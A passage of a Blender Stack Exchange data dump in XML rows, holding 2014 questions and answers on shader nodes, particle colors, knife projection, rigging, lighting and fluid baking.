  <row Id="8046" PostTypeId="2" ParentId="8045" CreationDate="2014-03-25T15:59:37.370" Score="5" Body="&lt;h2&gt;&lt;strong&gt;Object Info Node's Random Output&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I just discovered there is an Input node that can output a random value:&lt;br&gt;&#xA;  Input -&gt; Object Info&lt;br&gt;&#xA;However, it only works for Material Shader nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Object_Info&quot; rel=&quot;nofollow&quot;&gt;Blender wiki&lt;/a&gt; description of this node:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Object Info&lt;/strong&gt;&lt;br&gt;&#xA;  Information about the object instance. This can be useful&#xA;  to give some variation to a single material assigned to multiple&#xA;  instances, either manually controlled through the object index, based&#xA;  on the object location, or randomized for each instance. For example a&#xA;  Noise texture can give random colors or a Color ramp can give a range&#xA;  of colors to be randomly picked from.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note that this node only works for material shading nodes; it does&#xA;  nothing for lamp and world shading nodes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Location:&lt;/strong&gt; Location of the object in world space.&lt;br&gt;&#xA;  &lt;strong&gt;Object:&lt;/strong&gt; Index Object pass index, same as in the Object Index pass.transformed.&lt;br&gt;&#xA;  &lt;strong&gt;Material Index:&lt;/strong&gt; Material pass index, same as in the Material Index pass.&lt;br&gt;&#xA;  &lt;strong&gt;Random:&lt;/strong&gt; Random number unique to a single object instance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-28T17:41:40.300" LastActivityDate="2014-03-28T17:41:40.300" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8047" PostTypeId="2" ParentId="8040" CreationDate="2014-03-25T16:07:17.630" Score="5" Body="&lt;h2&gt;&lt;strong&gt;Randomizing Texture Locations&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here are 3 node tree setups that allow one texture to be randomly placed on multiple objects:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;NOTE:&lt;/strong&gt; If you can't see the node tree graphics easily here, you can download them to see them in much higher resolution)  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Node Tree #1:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HaGmB.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; In the Vector Curves node here, see how the curve has been changed from it's default straight line to a curve and how the X button is selected above that on the left? Well, in order for the randomization to be most comprehensive, you need to similarly change the curve for Y and Z -- just click on each and adjust it's curve.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Node Tree #2:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4wHFu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Node Tree #3:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M2kFz.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The node called &quot;Object Variation&quot; is a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Node_Groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;node group&lt;/a&gt;. To expand the group so you can see and/or edit all the nodes in it, select it and press &lt;kbd&gt;TAB&lt;/kbd&gt; (and &lt;kbd&gt;TAB&lt;/kbd&gt; again to collapse the group). Here are the nodes in the group:  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nLrlo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Points to Note&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You probably will want to use a &lt;a href=&quot;https://www.google.com/search?num=100&amp;amp;safe=off&amp;amp;rlz=1C5CHFA_enUS511US512&amp;amp;espv=210&amp;amp;es_sm=119&amp;amp;q=seamless+tileable+wood+textures&amp;amp;oq=seamless+tileable+wood+textures&amp;amp;gs_l=serp.3...3354.3556.0.4544.5.3.0.0.0.2.215.486.0j2j1.3.0....0...1c.1.37.serp..5.0.0.hNA2VIxz8i0&quot; rel=&quot;nofollow noreferrer&quot;&gt;seamless tileable wood texture&lt;/a&gt; so you don't have seams showing on occasion.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use either Photoshop or &lt;a href=&quot;http://www.gimp.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GIMP&lt;/a&gt; to create your own seamless texture:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;In GIMP&lt;/strong&gt;:  Filters -&gt; Map -&gt; Make Seamless&lt;br&gt;&#xA;&lt;strong&gt;NOTE:&lt;/strong&gt; GIMP's &quot;Make Seamless&quot; works very well if the texture is very vague, like sand on the beach, but it doesn't work well at all if the texture is very well defined, like zebra stripes.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.google.com/search?q=photoshop+make+seamless+texture&amp;amp;rlz=1C5CHFA_enUS511US512&amp;amp;oq=photoshop+make+seamless&amp;amp;aqs=chrome.2.69i57j0l5.8355j0j7&amp;amp;sourceid=chrome&amp;amp;espv=210&amp;amp;es_sm=119&amp;amp;ie=UTF-8&quot; rel=&quot;nofollow noreferrer&quot;&gt;In Photoshop&lt;/a&gt;&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And to give credit where due:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The 1st node tree came from &lt;a href=&quot;http://blenderartists.org/forum/member.php?217755-Benjamin-Dod&quot; rel=&quot;nofollow noreferrer&quot;&gt;Benjamin Dod&lt;/a&gt; on &lt;a href=&quot;http://blenderartists.org/forum/forumdisplay.php?7-Support&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderArtists.org&lt;/a&gt;  and here is &lt;a href=&quot;https://drive.google.com/file/d/0B_yQeQQ8ImENQVNmLUFTcF9xdTA/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;his blend file&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;The 2nd node tree came from &lt;a href=&quot;https://blender.stackexchange.com/users/2801/user2554615&quot;&gt;User2554615&lt;/a&gt; here on StackExchange and here is &lt;a href=&quot;https://drive.google.com/file/d/0B_yQeQQ8ImENcjRXQV9fd0FrMXc/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;the blend file&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;The 3rd node tree came from &lt;a href=&quot;http://blenderartists.org/forum/member.php?107056-Rich33584&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rich33584&lt;/a&gt; also on &lt;a href=&quot;http://blenderartists.org/forum/forumdisplay.php?7-Support&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderArtists.org&lt;/a&gt;  and here is &lt;a href=&quot;https://drive.google.com/file/d/0B_yQeQQ8ImENbk5xRnJpcTk5UzQ/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;his blend file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-03-28T17:19:35.330" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="8048" PostTypeId="2" ParentId="5241" CreationDate="2014-03-25T17:38:08.743" Score="9" Body="&lt;p&gt;I found the solution!&#xA;You have to click on the button shown in the photo below.&#xA;sorry for my bad English I'm only 14 years old&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xhGuc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2905" LastEditorUserId="2905" LastEditDate="2014-03-26T13:49:38.240" LastActivityDate="2014-03-26T13:49:38.240" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8050" PostTypeId="1" AcceptedAnswerId="8051" CreationDate="2014-03-25T20:43:35.313" Score="3" ViewCount="912" Body="&lt;p&gt;I used the spin operator to duplicate a circle, after that I tried to knife project all circles (single object), all the duplicated circles don't have an effect but the original circle is cut out. Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z6Tk0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/27887&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a &lt;a href=&quot;https://developer.blender.org/T39421&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="2217" LastEditDate="2015-06-02T00:24:44.007" LastActivityDate="2015-06-02T00:24:44.007" Title="Why does knife project cut only one hole into a disc?" Tags="&lt;modeling&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="8051" PostTypeId="2" ParentId="8050" CreationDate="2014-03-25T20:54:08.480" Score="1" Body="&lt;p&gt;I got it to work by subdividing the target object a lot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jaoTd.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;When the target was not subdivided, not all of the knife circles would cut, but once I subdivided, they all cut. I have no idea why though.&lt;/p&gt;&#xA;&lt;p&gt;However, trying to get it to work on a cylinder is more difficult. The way I got around it was:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a circle mesh and set the Fill type to Triangle Fan:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/80HXy.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then when you do the knife projection, all the circles will cut:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bK0bB.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then you can extrude the cut circle into your cylinder&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-25T21:06:11.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8052" PostTypeId="1" AcceptedAnswerId="8054" CreationDate="2014-03-25T22:21:01.400" Score="10" ViewCount="13382" Body="&lt;p&gt;I saw a conversation on BlenderArtist.org where someone posted a node setup that supposedly would change the color of particles over time based on the Particle Info node's Index value. This is the graphic they posted:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cVlum.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I tried to duplicate this effect, the particles don't change color over time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;a href=&quot;https://docs.google.com/file/d/0B_yQeQQ8ImENZ3VPWE5HcVJ3a2s/edit&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?331168-Particle-ID-and-Driver-to-use-as-counter&amp;amp;p=2605194&amp;amp;viewfull=1#post2605194)6&quot;&gt;original conversation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="1476" LastEditDate="2014-03-25T22:43:37.230" LastActivityDate="2018-05-27T15:49:52.253" Title="How do I get particles to change color over time?" Tags="&lt;animation&gt;&lt;materials&gt;&lt;texturing&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8053" PostTypeId="2" ParentId="8052" CreationDate="2014-03-25T22:41:57.113" Score="5" Body="&lt;p&gt;I am assuming you mean change color over lifetime. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with your node setup is simple to fix. Simply use the &lt;em&gt;Age&lt;/em&gt; output instead of the &lt;em&gt;Index&lt;/em&gt; output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2irfO.png&quot; alt=&quot;enter image description here&quot;&gt;   &lt;img src=&quot;https://i.stack.imgur.com/yZIM7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="2173" LastEditDate="2014-03-26T12:35:40.880" LastActivityDate="2014-03-26T12:35:40.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8054" PostTypeId="2" ParentId="8052" CreationDate="2014-03-25T22:55:37.003" Score="13" Body="&lt;h2&gt;&lt;strong&gt;Two Techniques to Have Particles Change Color Over Time&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I discovered two ways to have particles change color over time, but they both start the same way:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First, create an object to be the particles for the particle system. I used a sphere in the videos below.  &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an object (I used a plane) and add a particle system to it with these settings:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Emission section for the videos below, I have:&lt;br&gt;&#xA;Number = 1000&lt;br&gt;&#xA;Start = 1&lt;br&gt;&#xA;End = 200&lt;br&gt;&#xA;Lifetime = 200&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Velocity section, set Normal to a desired value. I used 7.0 in the videos below.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the Render section, select Object and then for Dupli Object select the object you made for the particles in step 1.  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now add a material to the particle object. Here is where I discovered two different node tree configurations to create two different effects: &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Effect #1: Each particle is a different color &amp;amp; stays that color over it's entire lifetime&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CivOd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this technique the node tree for the particle object's material is made like this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vX1lA.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; For this effects, the Divide node's Value must be set to the number of particles in the particle system (here, it's 1000)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique was developed by &lt;a href=&quot;http://blenderartists.org/forum/member.php?143873-kubo&quot; rel=&quot;nofollow noreferrer&quot;&gt;kubo&lt;/a&gt; on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?331168-Particle-ID-and-Driver-to-use-as-counter&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderArtists.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Effect #2: All particles change color over the course of their lifetime&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YpHgm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the node tree for this technique:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yCK7I.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; For this effects, the Divide node's Value is set to a low number (here, it's 50), not to the number of particles  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique was developed by &lt;a href=&quot;https://blender.stackexchange.com/users/1476/vader&quot;&gt;Vader&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/users/9/greg-zaal&quot;&gt;Greg Zaal&lt;/a&gt; here on StackExchange.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Previewing the Effect&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to see the colors changing in the 3D Viewport, the display mode must be set to Rendered&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-03-26T16:09:47.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8056" PostTypeId="2" ParentId="8040" CreationDate="2014-03-26T02:28:47.780" Score="1" Body="&lt;p&gt;To reuse part of your nodes select all of your nodes up to your &lt;code&gt;Mapping&lt;/code&gt; and &lt;code&gt;Texture Coordinate&lt;/code&gt; nodes. then press &lt;kbd&gt; Ctr + G&lt;/kbd&gt; that will make a node group you can reuse, saving you some of the work.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-03-26T02:28:47.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8057" PostTypeId="1" AcceptedAnswerId="8058" CreationDate="2014-03-26T07:43:34.583" Score="6" ViewCount="2604" Body="&lt;p&gt;For some reason the layer selection and the &lt;em&gt;Lock to Scene&lt;/em&gt; button disappeared in &lt;em&gt;3D View / Object Mode&lt;/em&gt;. I can't find an option to toggle the visibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;As it is supposed to look like&lt;/sup&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9zC4f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;How it currently looks like&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oy4OT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File / New restores the visibility therefore it must be a setting within the .blend file.&#xA;How can the layer selection be restored?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-12-09T14:55:10.030" Title="What influences the visibility of the layer selection in the view port header?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8058" PostTypeId="2" ParentId="8057" CreationDate="2014-03-26T12:47:16.347" Score="9" Body="&lt;h2&gt;&lt;strong&gt;Local and Global View&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender wiki&lt;/a&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can toggle between Local and Global view by selecting the option&#xA;  from the View Menu or using the shortcut &lt;kbd&gt;NumPad /&lt;/kbd&gt;. Local view isolates&#xA;  the selected object or objects, so that they are the only ones visible&#xA;  in the viewport. This is useful for working on objects that are&#xA;  obscured by other ones, or have heavy geometry. Press &lt;kbd&gt;NumPad /&lt;/kbd&gt; to&#xA;  return to Global View.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/users/2859/user2859&quot;&gt;user2859&lt;/a&gt; pointed out, when you are in Local View, the Layers buttons are not visible, but will return when you go back to Global view.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-04-02T16:50:10.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8059" PostTypeId="1" CreationDate="2014-03-26T14:13:58.793" Score="5" ViewCount="884" Body="&lt;p&gt;My problem is that when I try to link the armature with the mesh and go into to pose mode, the  mesh doesn´t follow the armature. I followed the steps &lt;strong&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/5151/model-wont-follow-its-armature-in-pose-mode&quot;&gt;here&lt;/a&gt;&lt;/strong&gt; but it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously, in another project, I worked with a mesh of a man. I followed the same steps to skinning and it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if the mesh in this new project is right. It's a very simple project. The mesh is a cylinder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZTbt5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2821" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-03-30T13:55:42.977" Title="Rigging is not working" Tags="&lt;armature&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8060" PostTypeId="2" ParentId="8059" CreationDate="2014-03-26T14:38:51.807" Score="3" Body="&lt;p&gt;Due to the lack of information provided I cannot be entirely sure what the problem is. My guess is that you do not have enough resolution in the cylinder for it to deform.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the cylinder and go into edit mode&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add some edgeloop along the height of the cylinder, &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;R&lt;/kbd&gt; -&amp;gt; mouse wheel up to increase the number of loops&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uzwRn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into object mode and select the cylinder and the armature, in that order.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the mesh to the armature, &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt; -&amp;gt; With Automatic Weights&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7TpP4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you can go into pose mode and pose the bones as you desire.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ohv7l.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-26T17:06:26.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8061" PostTypeId="1" CreationDate="2014-03-26T15:06:58.087" Score="3" ViewCount="799" Body="&lt;p&gt;I imported a CAD drawing of an airplane in 'stl' format into Blender.  I left the windows out, because I want to make them clear glass.  When I import the window separately, in 'stl' format, I am unable to make them glass &amp;amp; transparent.&#xA;WFR&lt;/p&gt;&#xA;" OwnerUserId="2757" LastActivityDate="2014-03-26T18:54:30.320" Title="How work with CAD 'stl' imported object files" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8062" PostTypeId="2" ParentId="8039" CreationDate="2014-03-26T16:13:24.080" Score="13" Body="&lt;p&gt;In Cycles, the differences are negligible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles determines the softness of a shadow by shooting a ray in a random direction and seeing if it hits a light source, and which part.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;For an emissive polygon (mesh light), a hit &quot;counts&quot; if it intersects the mesh.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For an area lamp, a hit &quot;counts&quot; if it passes through the rectangular area around the lamp's center. This area is configurable, in Blender.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Incidentally, point lamps work the same way, except that the area around the lamp's center is spherical. This area is also configurable in Blender (it's the size setting, IIRC).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As the other answer points out, polygons require resources. IMO, those resources are usually negligible. Most lights are small and require few polygons, in which case it's hardly even worth thinking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your light source requires lots of polygons in a complex shape, then a conventional lamp probably won't do the job anyway. Furthermore, if you want to see the light source without using a mesh light, the model is going to negate the benefit of not using a mesh light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only case I can think of where that might matter is if you have LOTS of lights. If each of those lights has 6 polygons, that might add up to a lot, which you might be able to avoid by using a conventional lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;That being said,&lt;/strong&gt; in BI the differences are &lt;i&gt;astronomical&lt;/i&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can accomplish a similar effect (as in Cycles) with an emissive material on a mesh and using global illumination, but BI makes that &lt;i&gt;extremely&lt;/i&gt; expensive to render. Area lamps (in BI) are orders of magnitude faster than global illumination, and probably just as accurate (if ray-traced).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-03-26T16:13:24.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8063" PostTypeId="1" AcceptedAnswerId="8065" CreationDate="2014-03-26T17:54:30.543" Score="1" ViewCount="7157" Body="&lt;p&gt;I'm trying recreate Ian McGlasham's &lt;a href=&quot;http://vimeo.com/64025403&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;ALICE&quot; fluid animation&lt;/a&gt;. In the process, I've been trying to adjust settings for the size of my fluid objects and also for the resolution of the domain object, so I want to bake the domain, see the result, adjust things accordingly, then bake again. However, after I bake the domain once, when I try to bake again, the baking progress bar appears and progresses, but the fluid and domain object do not merge to become the flowing liquid. I assume there is a &quot;Free Bake&quot; somewhere that I'm supposed to click on but I can't find it. In addition, if I just go and manually find &amp;amp; delete the fluid cache folder in my computer, the domain still won't bake properly. Also, I'm using 2.70.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show what &lt;em&gt;should&lt;/em&gt; happen when you click Bake, I made a simple demo blend with a small inner cube as the fluid and a big outer cube as the domain:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/psljy.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See how the domain and the fluid objects merge into the fluid mesh? That's what should happen, but that doesn't happen for me if I click Bake a second time.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the layout of my scene:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0lufP.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what happens when I try to bake a second time:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UWEZT.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See how the domain and the liquid objects stay separate and do not begin to flow? They should, but they don't and I can't figure out how to get them to.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;https://drive.google.com/file/d/0B_yQeQQ8ImENNFl0NF9wUmc0eG8/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;my blend file&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as a side note, is it weird that one cube inside another cube requires 27MB of memory to bake, but the other more complex scene only requires 1.89MB?  &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-26T20:07:00.417" LastActivityDate="2016-07-18T21:10:07.520" 